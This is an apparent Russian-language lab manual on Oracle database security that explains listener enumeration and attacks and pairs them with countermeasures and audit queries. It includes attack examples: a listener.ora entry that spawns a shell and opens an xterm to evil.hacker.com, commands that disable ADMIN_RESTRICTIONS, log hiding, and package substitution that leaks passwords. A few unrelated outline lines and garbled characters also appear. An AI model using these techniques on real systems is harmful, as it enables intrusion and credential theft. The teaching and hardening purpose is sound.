которым можно найти листенер, на практике могут использоваться также

другие порты:

Таблица 2. Обычные порты листенера баз данных Oracle

Порт Описание

1521 Порт листенера по умолчанию. Официально не зарегистрирован – фактически

зарегистрирован как ncube licence manager.

2483 Официально зарегистрированный порт листенера.

2484 Официально зарегистрированный порт листенера для SSL.

Программы сканирования сетевых портов, такие, как [nmap], могут

показать доступность этих портов, но листенеры могут быть

сконфигурированы для работы с другими доступными портами[2,3].

Листенер связывается со своими клиентами, используя

соответствующий протокол Oracle Net. Этот протокол не базируется на telnet,

поэтому для проверки листенера нельзя использовать стандартные утилиты

ОС, такие, как Telnet или [netcat]. К счастью, Oracle предоставляет

инструментальное средство TNSPING [NETADMIN, 16-17], которое также

может быть использовано для проверки листенера:

TNSPING

(ADDRESS=(PROTOCOL=TCP)(HOST=$хост)(PORT=$порт))

Относительно просто смастерить простой, но достаточно медленный,

сканер листенеров, подставляя в скрипте различные значения $хоста и

$порта.

Определив целевой хост и номер порта листенера, можно смастерить

запись в файле listener.ora, которая позволит программе lsnrctl связываться с

целевым листенером. Так, для хоста “victim.us.oracle.com”, прослушиваемого

по порту 32768, можно ввести:

victim=

(description=

(address=(protocol=tcp)(host=victim.us.oracle.com)(port=32768))

)

Начинают появляться сканеры защиты Oracle, их также можно

использовать для поиска листенеров. Например, свободно распространяемый

сканер [nessus] имеет подключаемую возможность для обнаружения

листенеров Oracle, работающих на портах 1521 и 1541.

Перечисление целей: использование управляющей программы

листенера

Обнаружив листенер Oracle, нарушитель захочет определить, имеет ли

он какие-нибудь реальные уязвимости. Это называется “перечислением

целей” (target enumeration).

Листенер по команде STATUS сообщает о себе массу информации,

вывод по умолчанию может быть расширен командой SET DISPLAYMODE

для режимов вывода RAW или VERBOSE, например:

SET DISPLAYMODE VERBOSE

В некоторых портах могут использоваться установки по умолчанию.

Пример вывода по команде STATUS показан на рис. 10.

Рисунок 10 – Листенер Oracle 9i выдает свои секреты по команде STATUS.

Как видно, листенер выдает очень полезный список информации,

включая:

операционную систему сервера (полезна для атак на ОС);

версию листенера (обычно, но не всегда, совпадает с версией базы

данных). Полезная информация, когда известны уязвимости данной

версии и DBA не вставил соответствующие заплаты;

время запуска и время работы с точностью до секунд. Знание текущего

системного времени может дать ключ к часовому поясу, в котором

работает машина, – это всегда полезно для планирования атак, когда

администратор, скорее всего, спит. Это может также направить атаки

на протоколы и криптографические механизмы, которые базируются на

времени[5];

проверку установки пароля листенера (установка SECURITY);

контроль включения трассировки и определение данного ее уровня.

Трассировочный файл может содержать подробную информацию о

получаемых пакетах;

контроль включения протокола SNMP (открывает еще один механизм

атаки);

файл параметров листенера и протокольные файлы. Это позволяет

узнать каталог ORACLE_HOME (так что, когда мы проникнем в

систему, мы будем знать, где находятся данные);

доступные сервисы. MODOSE – коммуникационный канал для Apache

(еще одно служебное имя базы данных; однако соединиться с базой

данных по имени “MODOSE” иногда сложно, если статус и команды

листенера блокируются межсетевым экраном), PLSExtProc – агент

внешних процедур (обсуждается позднее) и другие сервисы, наверняка

относящиеся к базам данных. Мы можем использовать это

информацию для вставки записей в tnsnames.ora данного сервера и

попробовать связаться с базой данных, используя SQL Plus или другие

средства.

Даже если не установлен пароль, листенер может быть “закрыт” с

помощью новой конфигурационной опции ADMIN_RESTRICTIONS (введена

в Oracle9i, для более ранних версий можно вставить заплату; этот параметр

описан ниже в подразделе “Меры противодействия – установка параметров

защиты листенера”). Используя команды реконфигурирования листенера,

такие, как SET LOG_STATUS, можно проверить, включен ли режим

ADMIN_RESTRICTIONS. Ошибка TNS-12508 указывает, что

ADMIN_RESTRICTIONS включен.

Рисунок 11 – Ответы листенера на команду set log_status при включенном/выключенном

режиме ADMIN_RESTRICTIONS

Дополнительная информация может быть обнаружена с помощью

команды VERSION, как это показано на рис. 12.

Рисунок 12 – Ответ листенера на команду VERSION

Если пароль листенера не установлен (или мы знаем его), то мы с

помощью команды SERVICES можем попробовать получить

дополнительную информацию о работающих сервисах, как это показано на

рис. 13.

Рисунок 13 – Пример ответа листенера на команду SERVICES

Это поможет определить другие сетевые порты, используемые

сервисами Oracle (которые также могут быть объектом атак). Также отметим

дополнительную информацию, выдаваемую в режиме вывода VERBOSE (см.

выше), которая раскрывает детали выполняемых программ, их окружение и

параметры.

Атаки листенера

Перечислив цели в листенере, мы можем описать некоторые атаки на

листенер. Наиболее интересные атаки требуют от нарушителя способности

реконфигурировать листенер и, следовательно, сначала потребуется

преодолеть парольную защиту и ADMIN_RESTRICTIONS. Без

реконфигурирования листенера нарушитель будет вынужден ограничиваться

только атаками типа “отказ в обслуживании”.

Поэтому мы рассматриваем следующие категории атак:

преодоление механизма защиты листенера;

заметание своих следов;

атаки типа “отказ в обслуживании”;

удаленное выполнение команд.

Преодоление механизма защиты листенера

Нужно преодолеть парольную защиту и конфигурационную опцию

ADMIN_RESTRICTIONS. Для преодоления парольной защиты есть

следующие механизмы:

угадывание паролей с помощью внешних механизмов (например,

использование "социальной инженерии");

использование инструментальных средств для организации “лобовых”

атак (они начинают появляться и для листенера Oracle);

атаки типа “передача хеш-значений”;

прямая модификация конфигурационного файла листенера.

Параметр ADMIN_RESTRICTIONS можно изменить только путем

модификации конфигурационного файла листенера.

Если нарушитель может читать файл listener.ora, то можно организовать

атаку типа “передача хеш-значений”, используя “старый” формат команды

LSNRCTL set_password – установить пароль. Эта команда имеет два режима

выполнения. Команда set_password без параметра (пароля) заставляет

LSNRCTL выдать приглашение для ввода пароля, который перед передачей

листенеру будет шифроваться. Однако, если пароль задан в команде

set_password, например, “set_password fred”, пароль будет передан листенеру

в незашифрованном виде. Это обеспечивает полезную обратную

совместимость, но позволяет развернуть атаки на листенер. Читая хеш-

значение пароля из файла listener.ora и используя его в команде set_password,

нарушитель может обойтись без необходимости знания пароля.

“Социальная инженерия” – хорошо известная и весьма успешная

техника выведывания паролей, но она выходит за рамки данной статьи.

Использование инструментальных средств, которые не являются продуктами

Oracle, также не рассматриваются в данной статье, так как они

непосредственно модифицируют конфигурационный файл листенера через

проникновение в операционную систему. Тем не менее, есть две атаки,

основанные исключительно на Oracle, которые позволяют модифицировать

этот файл:

для модификации файла с помощью операций базы данных может

оказаться возможным воспользоваться мощными привилегиями базы

данных, если есть возможность доступа к достаточно мощной учетной

записи; такая атака описана ниже в разделе “Атаки баз данных”;

атака PLSExtProc , описанная ниже в разделе “PLSExtProc” , может

предоставить возможность модификации файла, но для организации

атаки потребуется доступ к локальной учетной записи на сервере

(предварительным условием для удаленных атак является возможность

реконфигурации конфигурационных файлов листенера).

Заметание своих следов

Предположим, что нарушитель получил доступ к незащищенному

листенеру (или преодолел механизмы защиты), тогда ему может захотеться

скрыть свою деятельность, чтобы избежать обнаружения во время атаки или

после проведенного анализа.

Команды SET LOG_STATUS OFF и SET TRC_LEVEL OFF выключают

соответственно протоколирование и трассировку. Используя более

творческий подход, можно направить протокольные и трассировочные

файлы в /dev/null (UNIX) или в поток NTFS (например, в listener.log:HIDDEN

в NT). Для этого в командах SET LOG_FILE/TRACE_FILE нужно задать

полный доступа, в противном случае листенер будет добавлять расширение

имени файла .log, например:

SET LOG_FILE listener.txt – откроет новый протокольный файл

“listener.txt.log”;

SET LOG_FILE /data/oracle/9.0.1/network/log/listener.txt – откроет

протокольный файл “listener.txt”.

Дальнейшее творческое использование этого стереотипа поведения

обсуждается в следующих разделах.

Нарушитель может также отправить собственноручно созданный пакет,

содержащий признак конца файла, который может заставить программное

обеспечение просмотра протоколов прекратить вывод следующих

сообщений.

Атаки типа “отказ в обслуживании”

Обнаружено, что листенер может подвергаться ряду атак типа “отказ в

обслуживании”:

использование команд листенера;

использование опубликованных оповещений о проблемах

безопасности;

атака типа “исчерпание ресурсов”.

Как только процесс листенера будет уничтожен, он не сможет отвечать

на любые сетевые запросы. Для перезапуска листенера системный

администратор должен будет установить локальное соединение с машиной.

Использование команд листенера

Для организации атак типа “отказ в обслуживании” может быть

использован ряд команд листенера:

команда STOP – простейший способ, она просто аккуратно

останавливает листенер;

команды SET LOG_FILE/LOG_DIRECTORY и

TRC_FILE/TRC_DIRECTORY могут быть использованы для

перезаписи любых файлов, находящихся в каталогах, которыми

владеет Oracle (в UNIX), или любого файла (в NT, где листенер

работает как сервис пользователя SYSTEM).

Использование опубликованных оповещений о проблемах безопасности

Выпущен ряд оповещений о проблемах безопасности, связанных с

листенером (в основном это атаки типа “отказ в обслуживании”), а также

появилось несколько инструментальных средств, которые позволяют любому

воспользоваться ими. Нарушитель просто указывает целевой листенер и

запускает такое средство для аварийного завершения листенера.

Атака типа “исчерпание ресурсов”

Эта атака пользуется механизмом создания листенером новых

серверных сеансов. Рассмотрим рис. 14.

Рисунок 14 – Установление через листенер связи клиент-сервер

Установление соединения через Oracle Net требует выполнения ряда

шагов:

клиент инициирует соединение с сервером, сообщая листенеру, что он

хочет связаться с указанным сервисом;

листенер ожидает поступающих запросов на соединение с сервером.

Когда запрос получен, он проверяет, запущен ли серверный процесс

(запускает его, если требуется), и сообщает серверу, что ожидается

соединение;

сервер отвечает листенеру, сообщая детали соединения для передачи

их клиенту;

листенер информирует клиента, что сервер ожидает его, и передает ему

детали соединения с сервером;

клиент разрывает свое соединение с листенером;

клиент начинает соединение с сервером.

Спровоцировав сбой последнего шага в этом процессе, злонамеренный

клиент может организовать эффективную атаку сервера типа “отказ в

обслуживании”, так как в конечном счете у сервера закончатся ресурсы,

израсходованные на ожидание соединений клиентов. Этого можно

достигнуть повторяющимся выполнением команды LSNRCTL SPAWN

(только в UNIX) или запуском большого количества соединений с базой

данных без последующих попыток аутентификации.

Удаленное выполнение команд

Листенер можно использовать для выполнения нарушителем команд

сервера:

установив протокольный файл листенера как скрипт оболочки ОС и

отослав сфабрикованный пакет, содержащий команды оболочки,

нарушитель может выполнять в сервере произвольные команды. После

записи в файл, который, вероятно, будет выполнен системным

администратором или процессом загрузки системы (например,

AUTOEXEC.BAT), эти команды могут быть выполнены пользователем

с очень высокими привилегиями;

как видно из предыдущего анализа, листенер отвечает за запуск

серверных процессов. Эти процессы будут работать под пользователем

Oracle (в UNIX) или SYSTEM (в NT). Для того чтобы заставить

листенер выполнять наши команды, необходимо реконфигурировать

файл listener.ora. Это можно сделать через механизм работы с

протокольным файлом, направив вывод протокольного файла в файл

listener.ora, а затем отослать пакет, содержащий команды, которые мы

хотим выполнить. Например, можно послать пакет, содержащий

определение SID:

(SID_DESC=

(SID_NAME=Hacked)

(ORACLE_HOME=/data/oracle/OraHome1)

(PROGRAM = /bin/sh)

(ARGS = -c, /usr/bin/xterm -display evil.hacker.com:0)

)

Затем нужно перезагрузить листенер (RELOAD) и попытаться

соединиться с SID “Hacked”, при успешном соединении в узле

“evil.hacker.com” появится окно эмулятора терминала xterm;

и, наконец, если нарушитель сможет получить на целевой машине

локальную учетную запись, если это UNIX и у листенера установлен

бит SUID, то появляется возможность выполнять команды как

пользователь Oracle, создавая в локальном каталоге файлы

LISTENER.ORA и TNSNAMES.ORA, а затем с помощью установки

переменной окружения TNS_ADMIN заставляя листенер читать их.

Попытки соединения с сервисом, определенном в этих

сфабрикованных файлах, заставят листенер выполнять процесс как

пользователь Oracle.

Эта атака невозможна в системах NT, поскольку в них листенер работает

как сервис NT. Для того чтобы запустить листенер, атакующий пользователь

должен иметь возможность создания сервиса NT, то есть уже быть

привилегированным пользователем.

Меры противодействия – установка параметров защиты листенера

Для защиты листенера от атак можно использовать два

конфигурационных параметра, связанных с безопасностью:

если требуется удаленное администрирование листенера, командой

lsnrctl “change_password” установите пароль. После этого без задания

пароля (командой lsnrctl set_password) нельзя будет использовать

никакие команды для остановки или реконфигурирования листенера;

на сервере в файле listener.ora можно включить опцию

ADMIN_RESTRICTIONS (как это описано в [NETREF, 8-10]), которая

запрещает любые попытки удаленного администрирования независимо

от того, задан ли пароль. Разрешается только останавливать (команда

STOP) и перезагружать листенер (команда RELOAD). Ясно, что это не

защищает от простых атак типа “отказ в обслуживании”.

Подразумевается, что установка пароля и опции

ADMIN_RESTRICTIONS взаимно исключают друг друга, то есть

ADMIN_RESTRICTIONS устанавливается вместо пароля. Установка как

пароля, так и ADMIN_RESTRICTIONS, отключает конфигурационные

команды, разрешенные в ADMIN_RESTRICTIONS. В таком случае

необходимо вручную изменять файл listener.ora, а затем для ввода этих

изменений в действие нужно выполнять команду RELOAD (с заданием

пароля листенера).

Атаки баз данных

Если нарушитель может соединяться с целевой базой данных как высоко

привилегированный пользователь, то появляется возможность

злоупотребления очень мощными привилегиями и ролями базы данных для

атак на операционную систему сервера и другие базы данных. До Oracle9i

имелось очень большое количество иногда очень мощных учетных записей

пользователей, создаваемых по умолчанию во время инсталляции. Для

защиты таких систем требовалось обдуманное конфигурирование

пользователей, однако практика показала, что это выполнялось не всегда.

Начиная с Oracle9i, подавляющее большинство учетных записей,

создаваемых по умолчанию, блокируется во время инсталляции, запрещая

доступ нарушителям и позволяя DBA разблокировать только требуемые для

его системы учетные записи. Кроме того, все пароли учетных записей,

создаваемых по умолчанию, в Oracle9i устанавливаются с истекшим сроком

их действия, поэтому первый пользователь для соединения с

разблокированной учетной записью должен задать новый пароль. Эти два

простых, но важных, усовершенствования стандартной инсталляции Oracle9i

закрывают один из основных путей доступа к базам данных, который

использовался хакерами.

Таблица 3. Привилегии баз данных и возможные атаки

Привилегия/роль Атака

CREATE LIBRARY

CREATE ANY LIBRARY

JAVASYSPRIVВыполняются

произвольные команды

операционной системы в

контексте владельца

программного обеспечения Oracle

(UNIX) или пользователя

SYSTEM (NT). Отметим, что в

зависимости от версии базы

данных или версии NT (рабочая

станция или сервер) пользователь

SYSTEM может не иметь

возможности непосредственного

взаимодействия с экраном или

выполнения любых команд,

которые требуют экранного

доступа, так как SYSTEM не

имеет доступа к рабочему столу

пользователя.

Самый простой способ

использования этих привилегий –

указать библиотеку в “системном”

служебном вызове, который имеет

очень простой синтаксис и, по

большому счету, не зависит от

платформ, например:

Create library libsys as

'/usr/lib/libsys.so'; -- Solaris


'/usr/lib/libc.so.6'; -- SUSE Linux


'/usr/lib/libc.sl'; -- HPUX


'c:\winnt\system32\msvcrt.dll'; -- NT

В приложении А содержится

полностью законченный пакет

“hack”.

CREATE ANY DIRECTORY Чтение произвольных файлов с помощью

вызовов больших объектов. Любой текстовый файл

может отображаться как внешний большой объект и

читаться с использованием привилегий процесса,

принадлежащего Oracle. Это может также

использоваться для проверки существования

файлов. Так, нарушитель может выполнять в

сервере произвольные команды, направлять их

вывод в файл и читать этот файл. Примеры

приведены в пакете “hack” приложения А.

CREATE DATABASE LINK Просмотр других баз данных.

Можно встраивать данные соединения в команды

создания связей баз данных, избавляясь от

необходимости наличия соответствующей записи в

файле tnsnames.ora. Например:

Create database link test

Connect to mdsys identified by mdsys

Using '(DESCRIPTION= (ADDRESS=

(PROTOCOL=TCP)

(HOST=victim.us.oracle,com)

(PORT=1521))(CONNECT_DATA=(SID=orcl)))';

может использоваться для попытки доступа к

базе данных на машине victim.us.oracle.com как

пользователь MDSYS, используя SID по умолчанию

orcl.

Эту привилегию иногда можно использовать

для исследования баз данных, непосредсвенно не

доступных нарушителю. Например, незащищенная

тестовая система может быть использована для

просмотра баз данных в корпоративной сети

интранет.

Также отметим, что пароли связей хранятся в

открытом виде в таблице link$.

Таким образом, используя пакет “HACK”, представленный в

приложении А, можно преодолеть защиту листенера. Например, используя в

SQL Plus процедуру javaexecute:

SQL> execute hack.javaexecute(‘c:\winnt\system32\cmd /c

“echo admin_restrictions = off >>c:\oracle\network\admin\listener.ora”’);

Она вставляет в файл listener.ora строку “admin_restrictions = off. После

этого выполнение в контролере листенера команды RELOAD приведет к

выключению опции ADMIN_RESTRICTIONS.

Используя в пакете “HACK” процедуру просмотра (browse), нарушитель

может читать файл listener.ora, например:

SQL> execute hack.browse(‘listener.ora’,’c:\oracle\network\admin\’);

Это позволяет обнаружить текущие установки защиты листенера,

включая его пароль (хешированный в UNIX, открытый текст в NT).


1. Структура документа

2. Безопасность листенера

3. Перечисление целей: поиск листенеров

4. Перечисление целей: использование управляющей программы

листенера


Организация взаимодействия систем баз данных

с прикладными системами

Цель работы – исследовать организацию взаимодействия систем баз

данных с прикладными системами.











Меры противодействия – атаки баз данных

Если в приложении не требуется использовать вызовы внешних

процедур, то можно не запускать процесс PLSExtProc, используемый для

выполнения вызовов внешних процедур (как это описано ниже в разделе

“PLSExtProc”). Это позволит предотвратить злоупотребления привилегией

CREATE [ANY] LIBRARY.

Перед предоставлением пользователям мощных привилегий базы

данных следует внимательно рассмотреть последствия. Все ненужные

учетные записи необходимо блокировать или даже уничтожать.

Следует учитывать взаимное доверие между базами данных, которое

может появиться в результате конфигурирования сети: привилегия CREATE

DATABASE LINK (и различные пакеты PL/SQL, такие, как UTL_TCP)

разрешают внешние сетевые соединения из базы данных.

Важно понимать, что DBA имеет все привилегии, поэтому он может

читать, писать и выполнять файлы и команды операционной системы как

пользователь, который является владельцем Oracle.

PLSExtProc

Сервис PLSExtProc – это механизм, который Oracle использует для

вызова внешних процедур через ссылки библиотек базы данных,

создаваемых командой CREATE LIBRARY (как это было описано выше в

разделе “Атаки баз данных”). Поскольку этот процесс представляет собой,

так же, как и листенер, просто еще один сервис, то он может прямо

взаимодействовать с листенером, не имея сначала соединения с базой

данных.

Для того чтобы суметь связаться с PLSExtProc, нам нужно изучить

формат сообщений, используемый в базе данных для запуска внешних

процедур. Мы можем проверить содержимое сообщений, включив в файле

sqlnet.ora опции трассировки:

trace_level_agent=support

trace_level_client=support

trace_level_server = support

В результате, в каталоге трассировки Oracle Net (который, если нужно,

можно изменить установкой в sqlnet.ora параметров trace_directory_имя)

будет создан ряд трассировочных файлов.

Затем, поскольку для проверки нам нужен подходящий библиотечный

вызов, мы предлагаем использовать служебные вызовы операционной

системы, например, system(). Подходящей для выполнения командой может

быть что-то легкое, типа “dir c:\temp” с завершающими, скажем, 80-ю

пробелами. Анализируя впоследствии трассировочные файлы, мы сможем

разобраться с сообщениями, которыми обмениваются база данных и

PLSExtProc.

Сейчас мы можем написать программу для организации “атаки

воспроизведения” на PLSExtProc. Посылая в правильном порядке сообщения,

восстановленные по трассировочным файлам, мы можем заставить

PLSExtProc выполнить нашу перехваченную команду. Переписав текст

параметров, передаваемых в системный служебный вызов, мы можем

заставить PLSExtProc выполнять произвольные команды.

Обычно PLSExtProc связывается с базой данных, используя

межпроцессные каналы (IPC), это означает, что атака воспроизведения

обычно будет действовать только на локальный сервер. Для

реконфигурирования PLSExtProc, чтобы он принимал удаленные команды,

нужно изменить его запись в файле tnsnames.ora. Запись ADDRESS для

PLSExtProc обычно выглядит примерно так:

(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC))

но после изменения ее на:

(ADDRESS=(PROTOCOL=TCP)(HOST=ëîêàëüíûé_õîñò)(PORT=1521))

PLSExtProc будет принимать и отвечать на запросы, поступающие по

порту листенера 1521, установленного по умолчанию.

Меры противодействия – PLSExtProc

Если механизм вызова внешних процедур не нужен, то его можно без

риска отключить, удалив из файлов listener.ora и tnsnames.ora связанные с

ним записи. Это не позволит базе данных связываться с агентом внешних

процедур. Для предотвращения реконфигурирования этих файлов и

повторного включения механизма вызова внешних процедур следует убрать

привилегию запуска процесса PLSExtProc или удалить саму выполняемую

программу.

Если агент внешних процедур нужен, то следует рассмотреть

использование межсетевых экранов, ограничивающих соединения,

исходящие от сервера, с другими машинами (например, с узлами

репликации). Пользователи с локальными учетными записями на машине и

DBA смогут выполнять команды ОС как пользователи, которые являются

владельцами Oracle.

Вопросы, подлежащие дальнейшему исследованию

В данной статье затронут ряд вопросов, которые подлежат дальнейшему

исследованию, включая:

другие вопросы конфигурирования листенера, например, регистрация

сервисов, SNMP, SSL;

другие злоупотребления PLSExtProc (например, атаки типа

“переполнение буфера” как на сам процесс, так и сервисы

операционной системы сервера).

Оповещение о проблемах, связанных с безопасностью

Если читатели считают, что они обнаружили новую уязвимость защиты,

мы просим сообщить об этом прежде всего в службу поддержки Oracle (для

заказчиков с поддержкой) или же по адресу [email protected]. Мы

обещаем частным лицам и организациям, которые работают с нами,

идентифицировать и решить проблемы безопасности в наших извещениях.


1. Меры противодействия – атаки баз данных

2. Сервис PLSExtProc

3. Меры противодействия – PLSExtProc

4. Как определить количество информации для равновероятных

событий?

5. Как определить количество информации для неравновероятных

событий?

6. В чем заключается алфавитный подход к измерению количества

информации


Настройка доступа к хешам паролей через sys.user$

Цель работы – исследовать настройку доступа к хешам паролей через

sys.user$.











Пароли пользователей хранятся в таблице sys.user$, над которой

построен ряд стандартных представлений. Как сама sys.user$, так и

представления могут быть использованы для получения хешей паролей.

Представление DBA_TAB_COLS позволяет найти такие столбцы:

SQL> select owner, table_name from dba_tab_cols where column_name =

'PASSWORD';

SYS USER$

SYS USER_HISTORY$

SYS LINK$

SYS KU$_ROLE_VIEW

SYS KU$_DBLINK_VIEW

SYS DBA_USERS

SYS KU$_10_1_DBLINK_VIEW

SYS KU$_USER_VIEW

SYS EXU8PHS

SYS USER_DB_LINKS

SYS EXU8ROL

SYS KU$_PSW_HIST_LIST_VIEW

WKSYS WK$_AUTHBASIC

WKSYS WK$AUTHBASIC

WKSYS WK$$AUTHBASIC

Потенциальными подозреваемыми будут аккаунты, имеющие доступ к

этим столбцам.

Существует скрипт who_can_access.sql Питера Финигана (Pete Finnigan),

позволяющий найти пользователей, имеющих доступ к этим объектам.

Таким образом, можно определить пользователей, получивших права

SELECT ANY DICTIONARY или SELECT ANY TABLE. Привилегия

SELECT ANY TABLE работает только в случае если

o7_dictionary_accessibilty=TRUE

Чтобы получать информацию о пользователях, обращавшихся к

учетным записям можно включить аудит на DBA_USERS

SQL >audit SELECT on dba_users;

Audit succeeded.

Злоумышленник, тем не менее, может обратиться к таблице Sys.user$

напрямую, на которую аудит установить невозможно:

SQL >audit select on sys.user$;

audit select on sys.user$

ERROR at line 1:

ORA-00701: object necessary for warmstarting database cannot be altered

Но это единственная таблица, которой не повезло больше остальных. На

остальные системные таблицы, содержащие столбец PASSWORD, аудит

успешно устанавливается:

SQL >audit select on sys.link$;

Audit succeeded.

SQL >audit select on sys.user_history$;

Audit succeeded.

SQL >audit select on sys.dba_users;

Audit succeeded.

SQL >audit select on sys.KU$_ROLE_VIEW;

Audit succeeded.

SQL >audit select on sys.KU$_DBLINK_VIEW;

Audit succeeded.

SQL >audit select on sys.KU$_10_1_dblink_view;

Audit succeeded.

SQL >audit select on sys.KU$_USER_VIEW;

Audit succeeded.

SQL >audit select on sys.exu8phs;

Audit succeeded.

SQL >audit select on sys.user_db_links;

Audit succeeded.

SQL >audit select on sys.exu8rol;

Audit succeeded.

SQL >audit select on sys.KU$_psw_hist_list_view;

Audit succeeded.

Доступ к хешам через линки БД

Таблица 4. Команды в словаре БД

USER_DB_LINKS Database links owned by the user

ALL_DB_LINKS Database links accessible to the user

DBA_DB_LINKS All database links in the database

V$DBLINK Synonym for V_$DBLINK

GV$DBLINK Synonym for GV_$DBLINK

LINK$ таблица, на которую ссылаются все вышеприведенные представления.

Представления DBA_DB_LINKS и ALL_DB_LINKS являются

безопасными, потому что в них отсутствует информация о паролях. В

остальных четырех таблицах поле пароля присутствует, что может служить

источником утечки информации. Если в системе баз данных применяются

линки, то злоумышленник, получивший доступ к одному серверу может

переходить от одной базы данных к другой.

Подмена пакетов

Разрешение имен в БД Oracle производится в следующей

последовательности:

Если имеется объект с таким названием в текущей схеме, то

используется он

Если имеется приватный синоним с таким названием в текущей схеме,

то используется он.

Если в БД имеется общедоступный синоним с таким названием, то

используется он.

Описанная система имеет тот недостаток, что злоумышленник может

произвести подмену пакетов, без ущерба для работоспособности объектов

схемы. Для этого в текущей схеме создается новый пакет, с таким же именем,

как и вызываемый (например, dbms_crypto), который делает некоторые

дополнительные действия (например, вызов процедуры utl_http, utl_mail,

utl_smtp и т.д.) а затем вызывает настоящий dbms_crypto. В результате

пользователь может и не заметить подмены, компиляция всех объектов

схемы будет происходить успешно, а пароли будут утекать в Интернет.

Пароли к схемам можно получить из файла логов http-web-access.log или

путем включения трассировки

Бороться с подменой пакетом можно

путем полной адресации объекта, например

SQL > exec SYS.dbms_crypto …

также путем отнимания привилегий на потенциально опасные пакеты

UTL_MAIL, UTL_SMTP, UTL_TCP, UTL_HTTP, UTL_FILE,

DBMS_RANDOM:

REVOKE EXECUTE ON UTL_SMTP FROM PUBLIC;

REVOKE EXECUTE ON UTL_TCP FROM PUBLIC;

REVOKE EXECUTE ON UTL_HTTP FROM PUBLIC;

REVOKE EXECUTE ON UTL_FILE FROM PUBLIC;

REVOKE EXECUTE ON DBMS_RANDOM FROM PUBLIC;

Обнаружение потенциальных злоумышленников производится

запросом:

SELECT * FROM DBA_TAB_PRIVS

WHERE

PRIVILEGE = 'EXECUTE'

AND GRANTEE = 'PUBLIC'

AND TABLE_NAME

IN('UTL_SMTP','UTL_TCP','UTL_HTTP','DBMS_RANDOM') ;

SELECT GRANTEE AS USERNAME, PRIVILEGE, ADMIN_OPTION

FROM DBA_SYS_PRIVS

WHERE

(

PRIVILEGE LIKE '% ANY %'

OR PRIVILEGE LIKE '%DATABASE LINK%'

OR PRIVILEGE LIKE '%UNLIMITED%'

OR PRIVILEGE = 'BECOME USER'

OR ADMIN_OPTION = 'YES'

)

AND GRANTEE NOT IN (

'SYS', 'SYSTEM', 'OUTLN', 'DBSNMP',

'DBA', 'CONNECT', 'RESOURCE',

'EXP_FULL_DATABASE', 'IMP_FULL_DATABASE',

'AQ_ADMINISTRATOR_ROLE', 'OEM_MONITOR', 'CTXSYS',

'IFSSYS',

'IFSSYS$CM', 'MDSYS', 'ORDPLUGINS', 'ORDSYS',

'TIMESERIES_DBA', 'WKSYS', 'SYSMAN', 'OLAPSYS',

'OLAP_DBA', 'EXFSYS', 'SCHEDULER_ADMIN', 'WMSYS',

'SI_INFORMTN_SCHEMA', 'JAVADEBUGPRIV', 'MDDATA',

'RECOVERY_CATALOG_OWNER'

)

AND GRANTEE NOT IN (

SELECT USERNAME

FROM DBA_USERS

WHERE ACCOUNT_STATUS != 'OPEN'

)

ORDER BY 1, 2 ;

А обнаружение потенциальных Троянов производится запросом:

SELECT * FROM DBA_SYNONYMS

WHERE OWNER = 'PUBLIC'

AND NOT TABLE_OWNER IN

('SYS','SYSMAN','SYSTEM','WMSYS','EXFSYS','ORDSYS','MDSYS', 'XDB');


1. Доступ к хешам через линки БД

2. Подмена пакетов


Использование Паролей в трассировочных файлах

Цель работы – исследовать использование Паролей в трассировочных

файлах.











Получить пользовательские пароли можно из трассировочных файлов.

Так, например, если установить трассировку пользовательской сессии,

то можно увидеть, как пользователь выполняет:

SQL >alter system set wallet open identified by 'tiger';

В этот момент в трассировочном файле нечувствительно для

работающего пользователя появляется:

=====================

PARSE ERROR #4:len=51 dep=0 uid=0 oct=49 lid=0 tim=536326851182

err=28357

alter system set wallet open identified by 'tiger'

=====================

Для того чтобы ваша система не стала жертвой атак, подготовлен

простой контрольный список.

Прежде всего, однако, важно понимать, что листенер может быть

скомпрометирован плохой конфигурацией ОС и базы данных. Обдумывайте

возможности сетевых соединений с сервером базы данных и для входящих

соединений, и для исходящих. Фильтрацию входящих соединений в

листенере можно устанавливать с помощью параметров

TCP.VALIDNODE_CHECKING, TCP.INVITED_NODES и

TCP.EXCLUDED_NODES [NETREF, 6-37/38]. Более сложные правила

фильтрации могут быть установлены с помощью Connection Manager

[NETADMIN, 13]. Использование межсетевых экранов также позволит

фильтровать исходящие соединения, а некоторые межсетевые экраны

предотвратят передачу клиентам статусной информации.

В базе данных:

обеспечьте блокирование или уничтожение всех ненужных учетных

записей;

проанализируйте привилегии и роли, назначенные пользователям,

особенно CREATE [ANY] LIBRARY, CREATE ANY DIRECTORY,

JAVASYSPRIV и CREATE [PUBLIC] DATABASE LINK;

уничтожьте процесс PLSExtProc, если он не требуется. Если процесс

нужен, локальные пользователи ОС сервера и администраторы базы

данных должны быть такими, чтобы им можно было доверять как

пользователю, который является владельцем Oracle. Проверяйте код

вызова внешних процедур для предотвращения атак типа

“переполнение буфера”;

выполняйте рекомендации по обеспечению безопасности баз данных,

изложенные в [CHECKLIST].

Снимите бит SUID у исполняемого файла листенера (если установлен,

по умолчанию в Oracle 9i он не устанавливается).

Проверяйте сайты Oracle с оповещениями, связанными с проблемами

безопасности, и с последними заплатами.

Имея защищенную среду, для конфигурирования listener.ora

используйте технику перечисления целей, описанную выше.

Используйте команду lsnrctl STATUS для проверки:

выводятся ли какие-либо данные? Если да, листенер может быть

защищен с помощью межсетевого экрана или tcp.validnode_checking;

если данные выводятся, какова установка SECURITY? Если ON, то

листенер защищен паролем;

если SECURITY имеет значение OFF, проверьте установку

ADMIN_RESTRICTIONS, пробуя изменить какой-нибудь параметр

листенера, например, направив вывод протокольного файла в

существующий протокольный файл. Так, если протокольный файл

листенера

/myhost/oracle/OraHome1/network/log/listener.log

используйтекоманду:

set_log/myhost/oracle/OraHome1/network/log/listener.log

если ответом будет ошибка 12508, это означает, что опция

ADMIN_RESTRICTIONS включена.

если SECURITY имеет значение ON и вы знаете пароль, то можно

проверить установку ADMIN_RESTRICTIONS, задав правильный

пароль и попытавшись выполнить команду реконфигурирования

листенер. Если опция ADMIN_RESTRICTIONS включена, то ответом

будет ошибка 1169, даже при правильном пароле.

Результаты всех этих шагов перечислены в таблицах B.1 и B.2.

Таблица 5. Ответы листенера на запросы статуса

Ответ Значение

Никаких данных не

возвращается, ошибка

1153

Листенер, возможно, защищен межсетевым экраном.

Никаких данных не

возвращается, ошибка

12537

Включена опция tcp.validnode_checking.

SECURITY=ON Установлен пароль, если вы знаете правильный пароль,

также проверьте установку ADMIN_RESTRICTIONS.

Проверьте, что установленный пароль удовлетворяет

критериям сложности, позволяющим снизить риск

“лобовых” атак и атак словаря данных.

